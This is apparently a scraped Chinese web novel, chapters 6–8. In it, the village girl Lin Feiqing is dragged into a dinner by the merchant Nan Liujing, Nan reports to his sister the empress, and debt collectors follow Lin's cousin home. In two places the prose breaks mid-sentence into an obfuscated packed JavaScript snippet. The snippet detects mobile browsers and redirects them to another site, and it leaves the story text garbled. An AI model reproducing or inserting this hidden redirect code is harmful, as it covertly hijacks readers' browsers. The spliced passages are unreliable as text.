林霏清忙了一天,困得眼睛都睁不开,挨到枕头的瞬间便睡了过去。庄户人就这点好,凭你心里再多事,忙一天下来满脑子也只有睡觉。
翌日,林霏清是被摇醒的。
她正睡得昏沉,迷迷糊糊醒来,只见床边一个黑乎乎的人影,扶着腰,姿势扭曲。
“霏清、霏清,醒来了没?”
是舅母的声音,带着难掩的疼痛。
林霏清忙应道:“醒来了,舅母。”
何雁有气无力道:“我这腰睡一觉起来更疼了,今早你早点起,给那爷俩把饭做了。”
林霏清眨眨眼,理了理尚未清醒的脑子,支起身子担忧道:“您怎么样,我去找人给您看看吧?”
何雁摆摆手,只是动作一大又哎呦了一声:“费那钱干嘛,扭到了而已,将养两天就好了。这两天你多照应着点家里。”
“我晓得的,舅母。”林霏清翻身下床欲将舅母扶回房间,却被拒绝了。
“不用管我,有这功夫赶紧去灶房吧,昨天你哥哥就说要吃大肉包子,你赶紧起来准备,别耽误他出门。”
“……知道的。”
看着舅母离开的背影,林霏清揉揉脸,算是彻底清醒了。
舅母瞧着伤得不轻,也不知休养两天到底能不能好,若是不行,还是要尽早寻医。
果不其然,几天过去,何雁却没有一点见好的迹象,林霏清帮忙揉按时看到,后腰处一片骇人乌青,光是看着都疼得要命。
见此何雁也吓了一跳,忙让林霏清去请郎中,只是到底耽搁了好几日,施针后虽淤血散去,却还需好好调养,好在林霏清如今每月能带来几十两的收入,听郎中说要用什么药材,全都认认真真记了下来。
只是这样一来,家中原本两人分担的家事现在全都落在了林霏清身上,累倒是其次,用以做口脂的时间却大大缩减。
这也导致二月十五再去金玉楼时,林霏清带去的口脂还不到十盒。
好在杜管事并不介意,听闻她家中出事,还将这个月的账目一次性全部结清。
“不必担心,少一些也没关系,您尽力而为就好。”
林霏清感动得说不出话,千恩万谢后离开了金玉楼,而后又拿着先前郎中开的药单去给舅母抓药。
手里有钱,她尽挑了些品量好的,从药铺出来时,手中还没捂热的钱便少了大半。
但若是能让舅母早些好起来,这钱也算花得值了。
瞧了瞧天色,也差不多该回家了,林霏清一边揣着银两和药往城门去,一边拿出早上出发前准备的面饼子一口一口啃着,没多久,却瞧见前方不远处的酒楼前聚了些许人。
吵吵嚷嚷的,不知是发生了什么事。
林霏清向来不在街边热闹上多留心思,主要是怕惹祸上身,见状收起饼子加快步伐,却不经意在热闹中心发现一道熟悉的身影。
准确说来,是个熟悉的轮椅。
好事人群在酒楼前自发地留出一片空地,台阶之下,是之前见过的银元与轮椅上的南流景,正与台阶之上锦衣玉饰的男子,及身后一群布衣杂役形成对峙之势。
林霏清愣了愣,向前的脚步不觉间停下。
从她这里,只能看到南流景的一小半侧颜。却也能看出他姿态悠闲,裹在厚厚绒毛间的表情从容,带着些恶劣的戏谑,哪怕坐在好几阶台阶之下,面对成倍的人手反而像是位于高处的那个。
“刘公子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744394|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”南流景缓缓开口,“开门做生意嘛,哪有将客人拒之门外的道理,还是说您自觉做的不好,不好意思展露在我跟前?”
说着他笑了笑,用极关怀的语气道:“那更没必要了呀,你我认识这么久,在旁人跟前不好意思,却不用在我跟前这样,有哪些做的不好,我瞧一瞧,也好提点一二。”
听起来温善又体贴,说的也是好话,但林霏清却莫名有种,他在挑衅那位刘公子的感觉。
刘公子的反应证实了她的猜测,他白净的脸顿时气得脸歪鼻子斜,一把抽过一旁杂役手中的棍棒,指着南流景怒道:“你一个商贾之流,哪里来的胆子指点我的?前几年还在我面前低声下气地讨好,如今一朝得势,也敢在我面前耍威风了啊?”
话落,周遭围聚的人群皆静了一瞬。
前朝重农轻商,商贾之流乃是末等,南流景初来燕都时姿态有多低不难想象,他们多少也有些瞧不上,但如今新朝已立,又有那样的姐姐姐夫,南流景早已不是寻常商贾,刘公子这一番话,意指什么不言而喻。
哪怕林霏清这样不懂政治的人,也因这周遭的寂静莫名悚然。
反应过来自己说了什么的刘公子,一时差点握不住手中的棍棒,只是为了面子,还强撑着姿态。
而就在这一片死寂中,轮椅上的南流景却笑了笑,神情一如先前温良,单手撑着下巴,缓缓道:“正因今时不同往日,我在这里耍威风,刘公子又能把我怎么样呢?”
他缓缓站起身,紧了紧肩上的狐裘,一步一步朝台阶上走去:“您虽瞧不上我,我却还是要给您提一忠告,开这么大的店,旁的糊涂倒没关系,好歹您得搞清楚房东是谁吧?”
话落,上首的刘公子颤抖得越发厉害。
南流景笑容不变,此时已经走到刘公子身前,微微垂下眼,随即轻而易举地抽出对方手中的棍棒,有些惊诧地掂了掂:“打算用这么重的棍子揍我啊?”
语调仍旧散漫。
话题转变得突然又莫名,林霏清在外围忍不住想笑,可看周遭人仍一脸严肃,又只好生生把那股笑意压下去。
上头的南流景已经将棍子重新交到杂役手中,亲亲热热地揽住刘公子的脖子,哥俩好的样子,先前的一切仿若错觉:“说笑的,知道你开酒楼累坏了,一时情绪不佳也是有的,你好好赔个罪,我就不怪你了。”
刘公子还没林霏清高,被高大的南流景揽着简直像被钳住的小鸡仔,却又不敢反抗,只得咬牙切齿道:“那小人要怎么赔罪,才能让南老板满意?”
南流景扯了扯唇,此刻他面朝人群,随意扫视了一圈。
林霏清下意识觉得不妙,条件反射般低头打算离开。
可下一瞬,南流景的目光便锁定了她。
隔着遥远的距离,他漫不经心地朝这边抬了抬下巴,懒洋洋道:“喏,那边有个姑娘,刘公子好不容易坐回东,不若请她与我一同吃个饭怎么样?”
沿着南流景指来的方向,众人皆朝林霏清这边看来。众目睽睽下,林霏清僵在原地,满脑子只有一个想法。
路边的热闹,不要随便看。
7. 第 7 章
今日林霏清穿的是上月十五去金玉楼时穿的衣裳。
上月十五她穿的是新年第一日进京时穿的衣裳。
因为她只有一件体面的冬装,所以每次进京时都这样穿,就显得她从来不换衣裳,哪怕她只有进京时才穿,回去之后也会好好收拾干净。
在一众轻薄保暖的羊绒锦缎间,穿着粗麻布衣臃肿不堪的林霏清简直像从另一个世界来的人,故而就算南流景此刻这样说,也没人觉得两人认识,反而都坏心眼地猜测南流景专门挑了个泥腿子恶心刘公子。
刘公子的酒楼开在闹市,就没打算挣普通百姓的钱,寻常百姓多停留一会都要被门口守卫瞪,林霏清这样的更是看都不许看。
见南流景要他请这样一个人进去吃饭,刘公子脸都气红了,心中念着“士可杀不可辱”,但话到嘴边又变成了“请进”。
林霏清当然不敢进去,可南流景就在台阶上看着她,他身后还有一群拿着棍棒的杂役,虽说这些杂役不是他的人,带来的视觉冲击却是一样的。
罢了,就当是老板要她陪饭,应当的,应当的。
林霏清给自己鼓着劲,只是脚步仍旧很慢,一步路要挪三下。
好不容易到台阶前,她还打算用这种速度上去,却听得上首南流景“啧”了一声。
带着明晃晃的不耐。
始终关注着他动向的林霏清一个激灵,三步并两步跨上台阶,稳稳站在南流景身侧,目不斜视地死死盯着前方。
不知是不是错觉,身侧似乎传来一声轻笑,林霏清侧目去看时,却正好对上南流景看来的目光:“有没有忌口?”
第一次有人问她这个问题,林霏清微愣,很快在脑子里过了一遍,如实摇了摇头。
得到答案的南流景松开刘公子,像吩咐小二那般道:“听见了?上菜吧。”而后偏过头,给她一个“跟上”的眼神,转身进了酒楼。
林霏清忙跟在后头。
酒楼内因两人的踏足安静了一瞬,不知是因为南流景,还是因为她身上的衣裳。
一瞬安静后,又爆发出比先前热烈许多的喧闹,反而有股欲盖弥彰的刻意。
经过几张桌子时,林霏清听见从后面传来几位食客的窃窃私语——
“那就是南流景?他脚上那双靴子不会是雪狐皮吧?”
林霏清垂了垂眼,看向南流景的脚,可惜他全身都被厚重的大氅包裹着,从这个角度只能在行走间隐约看出点雪白的痕迹。
“呸,满身铜臭,一朝乍富就是这样的,穷的只剩下钱了,哪还顾得上什么礼义廉耻。”
几人说的热火朝天,什么“爱钱财似竞血蝇”,什么“富贵而骄,自遗其咎”,林霏清听不太懂,但她能听出来,不是什么好话。
“南老板……”看着前方恍若未觉的南流景,她下意识叫了一声,又突然意识到不该告诉他有人骂他。
可南流景已经转过头来。
林霏清一时有些嗫嚅,结结巴巴说不出话。
倒是南流景很快注意到林霏清意指什么,停下脚步。
堂中人皆在明里暗里注意着南流景,见他停住,表面上虽没什么异动,心思却全都往这边飞来。
“啊,这个啊。”男人闲闲开口,目光扫过堂中众人,又像谁都没有放在眼里。
停了几息,他突然扯唇,嚣张又傲慢:“可能是,人富,遭狗妒吧?”
“……”
死一般的安静。
林霏清看见有人夹着往嘴里送的菜掉下来,像放慢了一般,从衣衫一路滚到地上。
有点好笑。
这次她没忍住,弯起嘴角,低头无声了笑了几下。
片晌抬起头,却看见南流景的目光不知什么时候已经挪到了她的身上。长睫微垂,看起来倒也没那么凶。
“这次又笑什么呢?”
林霏清微僵,攥紧了胸前的布袋。
可或许是他这次态度还不错,林霏清没那么怕,犹豫了一息,低声解释:“那个人的茄子从嘴里掉出来了。”
……说出来没有看着那么好笑。
南流景顺着她的目光,看见一个半张着嘴,上身明显一溜油渍的男子,对方显然没意识到自己掉了菜,还愣在他方才那句“人富遭狗妒”里。
南流景有些无言,收回视线看向一脸无辜的林霏清:“有那么好笑?”
林霏清认真道:“您没亲眼看见。”
换言之,只要南流景亲眼看见,他也会觉得好笑的。
南流景对此回应一声嗤笑。
他还没忘了来此是吃饭的,随意招来一个小二,示意对方带两人到楼上包厢去,随着二人离大堂越来越远,底下渐渐多起人声,只是相较他们刚进来那会,多少有些不一样了。
选了最里侧的包厢,干净宽敞,窗前悬着青白色的薄纱。
正中央一张暗红色的巨大圆桌,泛着油润光泽,看着便价值不菲,周遭摆放琴筝等表演所用,甚至有个说书案台,只是现在空无一人,南流景也没有遣人进来助兴的打算。
他负手室内扫视一圈,似笑非笑:“红檀配月影纱,刘公子真是好品味。”
小二听出讽意,又不知如何辩解,只好在后头干笑。
南流景也不指望他说什么,只简单说了这一句之后便不再多言,随手解下肩上大氅递给小二。
林霏清第一次来这种地方,哪怕南流景对此嗤之以鼻也掩不住她满心好奇与紧张,虽说只敢站在门口,仍忍不住左右张望。
南流景回头,就见人站在门口双眸锃亮,没出息的样子。
“站那干什么,让你进来吃饭的。”
林霏清回过神来,第一反应便是推拒:“您吃吧,我刚吃过了。”
这也不算撒谎,街上碰见南流景之前她还在啃饼子呢。
话没说完,又听南流景“啧”了一声。
林霏清便不敢说话了,挪着脚步去到南流景对面,与他齐齐就坐。
却不想南流景才一坐下便沉下脸色,二话不说站起身来。
见状林霏清也慌忙从椅子上挪开。
小二结结巴巴:“您,您有什么吩咐?”
南流景蹙眉,看着方才坐过的椅子,语气不甚明朗:“换一把。”
“啊?”小二与林霏清俱不解。
南流景耐着脾气解释:“这把椅子上的垫子绣了金线。”
林霏清瞪大了眼,低头去看方才坐过的垫子。上面的确绣了花样,可她还以为这最多是用丝线绣成的。
现在再瞧,的确隐约可见泛着金光。
“这上面竟绣了金线?!”林霏清讶然出声,这大约是她在南流景面前最大声的一次。
惊呼声引来南流景的目光,他深以为然地点了点头:“金线如此粗糙,谁会想着将其绣在软垫上?”
林霏清:……不,我觉得我不是这个意思。
小二沉默着给两人重新换了椅子,托南流景的福,现在小二眼中她也是一个与南流景同样的装腔之人。
还是穿着麻布衣裳却嫌弃金线粗糙的装腔之人。
林霏清:……我真不是这个意思。
本以为南流景到此便也差不多了,却不想饭菜呈上来之后,她才真正见识到了什么叫,难伺候。
肉太老、菜太咸、汤太涩……每一道菜都遭了批评,甚至就算布菜侍女完全听南流景指挥,也同样被他嫌弃了动作太大布料摩擦声吵耳朵。
众人:……
幸好他在开饭前每人给了一锭银,否则布菜侍女真可能将饭碗扣到他脸上。
眼见布菜侍女脸黑了黑,又生生忍住,继续依着南流景的话伺候,林霏清心下泛起同情,一边夹了筷菜就饭吃。不知道南流景哪来那么多挑,她看每道都好吃得要命。
她才一动作,站在她身侧的布菜侍女突然温和开口:“这位姑娘。您怕是不常吃这里的饭菜,我们的菜不能这样吃的。”
“还是我来帮您吧?”
啊?林霏清顿住,有些茫然,她方才看堂中人都是这样吃的啊?
对面的南流景听见动静,略微抬起眼来。
林霏清不好意思拒绝,便看布菜侍女夹起一筷方才她碰过的菜,先是在汤汁里沾了沾。
“这样能让食材充分吸收汤汁,使食材入味。”
林霏清恍然,以为这样就能吃了,却见侍女又把菜在干净生菜上头滚了一圈。
“这样能去掉多余的汤汁,达到最适口的口感。”
然后才将那根菜放置她面前的菜碟中。
“您请用。”
“……”
是她想多了,还是她在菜上加了点汤汁又减了点汤汁?
林霏清夹起那根菜试探地咬了一口。
好吃的,但和直接吃没什么区别。
布菜侍女还在一旁目光灼灼地看着她,像是等她的评价。林霏清想了想,比起饭菜味道如何,她现在更担心这位姑娘做这种活,到底能不能学到什么赖以为生的真本事。
“您,要不试着换个行当呢?”
哪怕是做些洒扫的杂活,也比滚一滚沾一沾更能学些本事吧?
话落,对面响起“噗嗤”一声,只是迅速又忍住了。
明白过来其中含义的布菜侍女瞬间沉下脸色,目光不善地瞪视着林霏清。一个走了狗屎运的乡巴佬,能被她伺候着吃回饭已是祖上积德,不诚惶诚恐也就罢了,竟然还敢这样讥讽她?
布菜侍女紧了紧手中的公筷,正欲说些什么,对面一道声音在她之前开口。
“既然用不上你,就先出去吧。”
声音来处正是南流景,他眉眼间是浅淡的笑意,一手端着汤碗,说着浅啜了一口,形状漂亮的薄唇沾上清润的汤汁,给整张脸添了些血色。
他的目光缓缓挪到林霏清身上:“林姑娘,或许更习惯自己吃?”
南流景的语气并不凶,甚至称得上和善,布菜侍女却不敢生出丁点违逆的心思,只好咽下心中的气,屈辱地放下筷子离开包厢。
林霏清愣了一瞬,旋即抿起个感激的笑,布菜侍女动作太过文雅,相比之下她更习惯一次夹好几样菜到碗里,就着饭很快便能吃完。
只是她不好意思直接说出口,没想到南流景竟然注意到了这点。
她重新端起碗,顾及着场合,克制着速度,但与南流景斯文的姿态比起来,仍显得粗鲁。
南流景看了她一眼,倒没挑剔她的吃相,只问:“怎么不吃肉?”
林霏清动作顿了顿,她一直有个习惯,不论吃什么,总爱将喜欢的放到最后再吃,只是一般不等她吃到最后,那些喜欢的菜便被表兄悉数吃完了。
家中人都习惯了这些,连舅母也以为她不爱吃肉,摆菜的时候会特意将肉菜放远一些。
她不知该如何向南流景解释,好在对方看起来也只是随口一问。
安静片刻,林霏清突然想起来:“您身边那位银元公子,他不进来吃饭吗?”
“他啊。”南流景搁下筷子,慢条斯理道,“他有旁的事要做。”
林霏清不解地眨了眨眼,识趣地没多问,伸手又扒了口饭。
米饭松软,粒粒分明,落入口中还带着一股微甜,哪怕没菜干口吃也好吃。
“对了,我没带钱,这顿你来付。”
林霏清嚼着米饭,恍惚听见这一句。
听错了吧?
她没当回事,又夹了筷菜。
却久久没听见对面再传来动静。
……
林霏清终于意识到不对,咽下口中食物,迟疑抬眼。
南流景不知什么时候放下筷子,正面无表情地盯着她。
眉眼冷淡,明明坐在同一张桌子上,却好像被俯视着。
所以,刚才不是听错了?
像是印证她的猜测一般,南流景向后靠在椅背上,盯着她缓缓道:“怎么?有什么问题?”
“您、不……”
林霏清的心顿时凉了半截,手一松,青菜骨碌碌滚了下去。
怎么办?
完了完了,这一桌,卖了她都付不起!
濒临崩溃之际,对面突然传来一声笑,林霏清颤抖着唇看过去,却见南流景眉眼弯弯。
“你说得对,亲眼见到的确比较好笑。”
他素来冷淡着一张脸,就算是笑也带着讽意的倨傲,这还是林霏清第一次看到他笑得如此愉悦,露
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744395|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出又白又齐的一排牙,衬上他那张精雕细琢的面容,几乎称得上活色生香。
林霏清怔了好一会,才意识到南流景是在拿她玩笑,几乎停滞的心跳重新活过来,劫后余生般舒了口气。
猛然放松下来,林霏清有些口不择言:“我都打算去学怎么沾一沾滚一滚了。”
南流景:“嗯?”
林霏清认真解释:“这样除了打扫杂活我还能试着布菜还账。”
“……哈。”
南流景又是一阵笑,林霏清有些无言地看着他。
时不时再扒一口饭。
片晌,南流景笑意平息,食指轻轻敲了敲桌面:“你慢用,吃不完的让人打包带回去,我先走了。”
好快啊,她都没吃完。
林霏清看了南流景的位置,一碗米饭只用了小半碗,那么高的男人吃这么点怎么能饱?
她忍不住道:“您不再用一些?”
南流景正扬着下巴让小二系大氅前的系带,闻言漫不经心地投过来一眼,林霏清不知为何觉得他有些不高兴,干巴巴补充道:“虽然这里的菜对您来说很,有长进的空间,但您太瘦了,多吃些对身体好。”
她想起见到南流景发病当晚自己还吓得做了噩梦,腹诽道,也省的再吓到旁人。
南流景嗤笑一声,穿好大氅,理了理头发,转向她意味不明道:“我待会还要吃旁的东西。”
顿了顿,不知出于什么目的,补充道,“很好吃的东西。”
说罢,不待她反应,转身出了包厢。
林霏清坐在原处,后知后觉地点了点头。
出了酒楼,银元已经停好马车,在外等候多时,南流景从怀中掏出颗黑乎乎药丸塞到嘴里:“东西拿到了?”
银元:“拿到了。”
“行,先回府,明日进宫。”
-
南流景不在,林霏清也坐不住,很快放下了筷子。
余下的菜她没有浪费,全都打包带走,酒楼甚至还送了一个特别精致好看的食盒。
不知用什么法子保温,这么远的路拿回去里头的食物还温着。
正好到了饭点,赵栋不在,何雁做不了饭,赵福更不可能下厨房,林霏清热了几个馒头,配着这些菜当晚饭。
她夹了一些菜到碗里,又拿了个馒头,连着白日买的药材一起拿进了何雁屋子。
房内没有点灯,模糊能看见一个人影爬伏在床上。
林霏清走近,燃起蜡烛,动作将何雁吵醒,她眯着眼睛,语气不善:“干什么?”
“舅母,吃饭了。”
听见这话,何雁空了一天的肚子才察觉强劲的饥饿。
林霏清扶着她坐起身,将饭菜端到她手边,看着碗中荤素鲜艳的菜,何雁食指大动,连馒头也顾不上,吃了好几口菜才反应过来:“哪来的这些?”
林霏清:“今日金玉楼请的。”
她没提南流景的事,主要是不好解释,好在何雁也没生疑心,很快又狼吞虎咽起来。
待她吃完,林霏清一边换被褥一边安顿:“您的药我买回来了,您先别睡,我给您熬煮了擦擦身,今日余下的钱不多,我待会给您拿进来……”
何雁重新趴回床上,半阖着眼有一搭没一搭地听着,突然想起什么打断她:“对了,既然如今你在金玉楼做活,下次去要不问问那边有没有活给你表哥做?他总这样闲着也不好。”
话题突然转变,林霏清一时没反应过来,何雁没听到回应,有些不高兴:“怎么?你还怕你表兄越过你去啊?你这丫头总不能只想着自己吧?你表兄现在都没有生计,你身为妹妹,不想着帮扶他一下,只带回来些肉啊菜啊的就行了吗?”
林霏清劈头盖脸挨了一顿骂,若平日她肯定会顺着何雁,但在金玉楼给表兄找活干,她哪有这本事。
她只得安抚道:“舅母,您先别急……”
话说了一半,木门突然被推开,来者正是赵栋,他一反往日萎靡不振的模样,大声道:“娘!给我点钱,您儿子要发财了!”
“金玉楼卖的钱在你妹妹房里。”何雁支起身子,还没来得及说完,赵栋便夺门而出,朝着林霏清的屋子跑去。
林霏清在后面张张口,却又清楚自己拦不住。
刚晓男女之别时,她也恼过赵栋不敲门直接进她屋内,可赵栋振振有词,一直嚷嚷“这是我家,你不让我进去,我就把你赶出去”,舅母也劝她不是什么大事,她到底不敢真的惹舅舅家生气,提过两次后便学会了闭嘴。
好在她房中没什么东西,赵栋进去几次后自觉没意思,便也不再闯入。
很快赵栋拿着钱袋子回来,进门便嚷嚷钱不够:“娘,怎么就这么点,不是说一月有五十两吗?”
虽是问何雁,但眼神却一直往林霏清身上瞟,林霏清有些难堪,解释道:“今日钱拿去给舅母买药了,大夫说这药虽贵些,但起效快。表兄若不信,里头还有票据。”
赵栋皱眉一翻,果然在夹层翻出张轻飘飘的纸,却仍横了林霏清一眼:“谁知道你说的是不是真的。”
林霏清:……
几人的吵嚷很快引来了外头的赵福,他咳了一声,将话题拉回正轨:“你要那么多钱干什么?”
赵栋嘿嘿一笑:“爹,儿子这几日认识了个燕都的大少,他说有发财的路子,要带儿子一起呢。”
赵福皱起眉:“什么大少,别是骗子吧?”
赵栋急了:“肯定不是骗子,他带我去过他的府上的,四进的大院啊,要真是骗子,怎么可能费这么大功夫骗咱们家这点钱?”
语毕,见赵福久久不语,赵栋转向何雁撒娇道:“娘,您信我啊,我真有办法给咱们家挣钱!”
何雁向来拿这个赵栋没办法,见赵福也没有开口制止,很快服了软:“行行行,你个讨债鬼,明日,明日你来找娘拿钱。”
之所以要明日才拿,是因为今日林霏清在这里,何雁又不是傻子,怎么可能让她看见钱都放在何处?
“儿子长大了,知道赚钱给家里了。”
林霏清虽不知何雁在想什么,却也知道自己不该出现在这种场合,她平静地拿起舅母吃完的碗筷,悄悄退出了房门。
8. 第 8 章
“皇后娘娘,南大人在殿外求见。”
御座之上,年轻的皇后身着皇袍,不施粉黛,原本束在发顶的旒冠在下朝后便取下,露出整肃的盘发,只端坐在那里,便有无尽威严。
乱世群雄逐鹿,兰安与南珠终成最后赢家,只是打下燕都还不够,前朝国土零落,登基后没多久兰安便率兵外出征战,而身为皇后的南珠留在都城,代为监国。
南珠从奏折中抬起头,瞥了眼一旁的漏钟,长眉微微皱起,冷声道:“让他进来。”
侍从应声而退,须臾,南流景衣角带霜,步履从容,进殿拜见。
“臣南流景参见皇后,皇后万岁。”
清朗的声线有些沙哑,落在宽敞空荡的含元殿中,如玉珠落盘,却并未让南珠紧皱的眉头松开:“这么冷的天该在府上多睡会,来这么早干嘛。起来坐。”
几乎话落,便有侍从上前搀扶南流景,另有人搬了椅子到他身后。
开国皇后未搁下朱笔,鹰隼般的视线在南流景身上转了一圈,看他潮红的面颊,不满道:“又病了?”
虽是问句,但身边的宫侍已心领神会地退出去请御医。
南流景生病时总是很安静,他坐在椅上半阖着眼,整个人看起来都软化了不少:“今早睡起来有些烧,不碍事。”
“碍不碍事你说了不算。”南珠注意力放回奏章之上,冷漠吩咐宫侍,“带这小子去偏殿休息。”
南流景没动,慢悠悠道:“我不在宫里多待,把刘家的事说完就走。”
“啪嗒”一声,价值千金的朱笔被随意拍到桌上,赤红的墨弄污了不知哪位臣子呈上的奏章,南珠缓缓掀起眼皮,冷冰冰的,语调没什么起伏:“我太久没揍你了是吧?”
“……”
沉默片息,南流景转头,看向一旁的宫侍:“烦请带路。”
偏殿内没点什么乱七八糟的香料,地龙烧得旺盛,南流景坐在圈椅内,暖烘烘的室温熏得他昏昏欲睡。
将梦将醒之间,隐约听见一老头向他问好,南流景勉强睁开眼,果不其然是太医院正,也算是熟人。
“只是有些发热罢了,阿姊竟将您叫了过来。”南流景扯唇,将腕递了过去。
太医院正板着脸,简单诊了诊脉,很快得出结果,恰南珠进来,他便直接向南珠禀报:“南大人只是有些发热,臣开个方子,一日两顿喝上七天便会好转。”
南珠点头,南流景在一旁得意地笑:“都说了不碍事了。”
“不过,”太医院正看向南流景,语气严肃,“南大人昨日,是吃了辛辣油腻之物吗?”
南流景的笑瞬间僵在脸上。
看他偏过头一副死不合作的样子,太医院正也不打算逼问,只语重心长道:“您先天体虚,平日里更得好生保养,那些食物对脾胃负担过重,若非如此,您今日也不会病这一回。”
南流景没反应,话像是说在了墙上,倒是南珠,不论听过这些论调多少次,依旧认认真真全部记下,待太医院正走后,才来寻南流景算账。
“你一天能不能少给我惹事?我每天要处理那么多事,哪有工夫关照你?只让你听太医的话,这都做不到吗?”
南珠的斥责回荡在空荡荡的殿内,走早太监宫女低头噤声,不敢发出丁点声音。
南流景终于动了,抬起手支着下巴,语气散漫:“太医的话?从小到大这些郎中的话哪个成真了?”
“先是说我寿数就到十岁,十岁后又说我三年内必死,而今连院正都说我活不过二十三,阿姊,你自己数一数,被这些郎中催得给我准备多少次后事了?”
他垂下眼,声音里满是疲倦:“若我真短命,那再怎么保养不过白费功夫,若他们说的是假话,那听不听又怎么样呢?”
殿内一阵沉默,唯有脚下地龙烧得热烈,仿佛下一瞬就要冲破而出。
南流景脑袋昏昏沉沉,实在是想睡,没得到回应又重新闭上眼,转而说起旁的事:“刘家的账本是假的,真账本不抄家估计是找不到了。”
南珠声线已经平稳下来:“大约要多久?”
南流景:“半个月,给你个师出有名的理由。”
南珠点头:“好,到时候铸银司还由你来负责。”
铸银司管铸银之事,全国也只有六家,这种地方必然要皇帝心腹负责,刘家身为前朝臣子,新皇登基后却没有主动却任的意思,甚至南珠几月前隐晦提起时也被糊弄过去,如此不识眼色,她也没必要再留情面了。
南流景皱眉:“太医可说了我不得劳累,再说我不已经在那宝钞提举司任职了吗?”
南珠双手拢在袖中,面无表情地用他方才的话回敬:“反正都是些屁话,听不听又怎么样?左右你闲着也是闲着,要是不打算任这职,就跟胡小姐见面去。”
登基之后,南珠突然对南流景的婚事上了心,那么多官家小姐中,胡小姐是对南流景兴趣最大的一个。
诚然,商贾出身,最重要是身子还不好,大多官宦人家都避之不及,但谁让他如今已是国舅,加上有张好脸皮,对他芳心暗许的姑娘也不少。
南流景:“……”
“算了吧,我这种人还是别耽误好人家的姑娘了。”他说着站起身,吊儿郎当的,“还是在死前,多给我的好姐姐分分忧吧。”
他冲南珠行了一礼:“臣告退。”
-
二月底,春分已至,荷花村的农户开始忙着春耕,往年赵福与赵栋一起,但这段时日赵栋一直忙着他赚钱的大事,加上林霏清的进项,家中也不怎么缺钱,赵福便将多半农田租了出去,余下的他与黄牛一起足够耕作。
何雁的腰上的伤已大有好转,只是仍不便出门,这日林霏清去田上给赵福送了午饭,回来却见家中来了客人。
“赵婶,您怎么来啦?”林霏清惊喜道,忙放下食盒给赵婶倒水。
赵婶圆乎乎的面庞向来乐呵呵的:“昨日阿香寄过来了些跌打损伤的药材,我和你赵叔又用不着,想着你舅母不舒服,便给送过来,也不知道有没有用。”
何雁在床上笑道:“阿香可真是嫁了个好夫婿,听说药材生意做得很大呢。”
林霏清讶然道:“阿香寄来东西啦?”
她怎么什么都没收到呢?
赵婶一打眼便知道林霏清在想什么,亲昵地捏了捏她的脸颊:“你可是阿香最好的朋友,她当然不会忘了你。”
她从怀中拿出一个布包:“阿香说你先前教她做口脂,如今她学成了,第一个当然要拿给你这个师傅看一看。”
林霏清珍而重之地接过,刚想说自己也给阿香回礼一个,却猛然想起先前与金玉楼的协议,她的口脂不可私下赠人。
“我,我下个月给阿香也送一个。”
“干嘛要等到下个月?”何雁不知金玉楼的事,插话道,“你不是已经做了好几个了?今日你赵婶在,给你赵婶也送一个。”
“……”
哪怕已经很多次,但每当舅母直接替她做决定时,林霏清仍有些不知如何是好。
她一时没来得及回应,反应过来想要说话时,何雁已沉下脸。
赵婶见状忙打圆场:“我每天灰头土脸的,哪有功夫涂口脂,你和阿香两个小丫头,自己的事自己解决,我才不给你代送呢。”
场面缓和下来,赵婶却也不好再久留,没一会便提出告辞,林霏清送她出门时,心中仍有些愧疚,主要是怕赵婶误会。
“傻丫头。”门外,赵婶笑着拍拍她的肩,“赵婶知道你心里想着阿香,这就够了。你的东西,当然你说了才算。”
林霏清勉强笑笑,将人送至院门口,却突然注意不远处,几个穿着黑衣短打的男子往这边走来,而最前头的正是赵栋。
他与后面几人显然不是朋友,那些人对他推推搡搡,赵栋却不敢生气,面上始终挂着讨好的,小心翼翼的笑。
赵婶显然也留意到了那边,正想要不留下帮忙看看情势,林霏清却忙出声请她离开。
很明显来者不善,赵婶留在这里有被牵连的风险,加上舅舅舅母的性子,肯定不愿意让旁人见到家里的窘境。
赵婶犹豫再三,最终敌不过林霏清可怜巴巴地望着她,离开前叮嘱道:“有什么事一定过来找我。”
林霏清胡乱点了点头,直到看不见赵婶,才转向另一边。
很快一行人抵达门前,其中像是领头的看着林霏清,笑问:“姑娘,你是这家人吗?叫你家大人出来。”
他的态度还算友善,可林霏清没遗漏他紧紧钳着赵栋胳膊的手,沉默片息,她壮着胆子询问:“您能先把我哥哥放开吗?”
领头愣了一瞬,看看赵栋又看看她,笑道:“你们是兄妹?长得不像啊。”
林霏清抿唇,她素来迟钝,此刻却明显察觉到了男人话语中,隐晦的恶意。
不过领头显然不打算在她身上过多纠缠,他松开赵栋,推了他一把:“行了,到你家了,说说看,打算怎么还账?”
还账?
林霏清看向赵栋,他弓着腰,对那领头讨好道:“您先请进,我家里有钱。”
领头看了看院子,又看了看赵栋,龇着一口白牙凑近他,森然道:“你最好别耍什么小心思。”
赵栋忙摇头:“不敢不敢。”
见状,领头直起身,挥了挥手,身旁便有手下推开大门。
很快人都进了院内
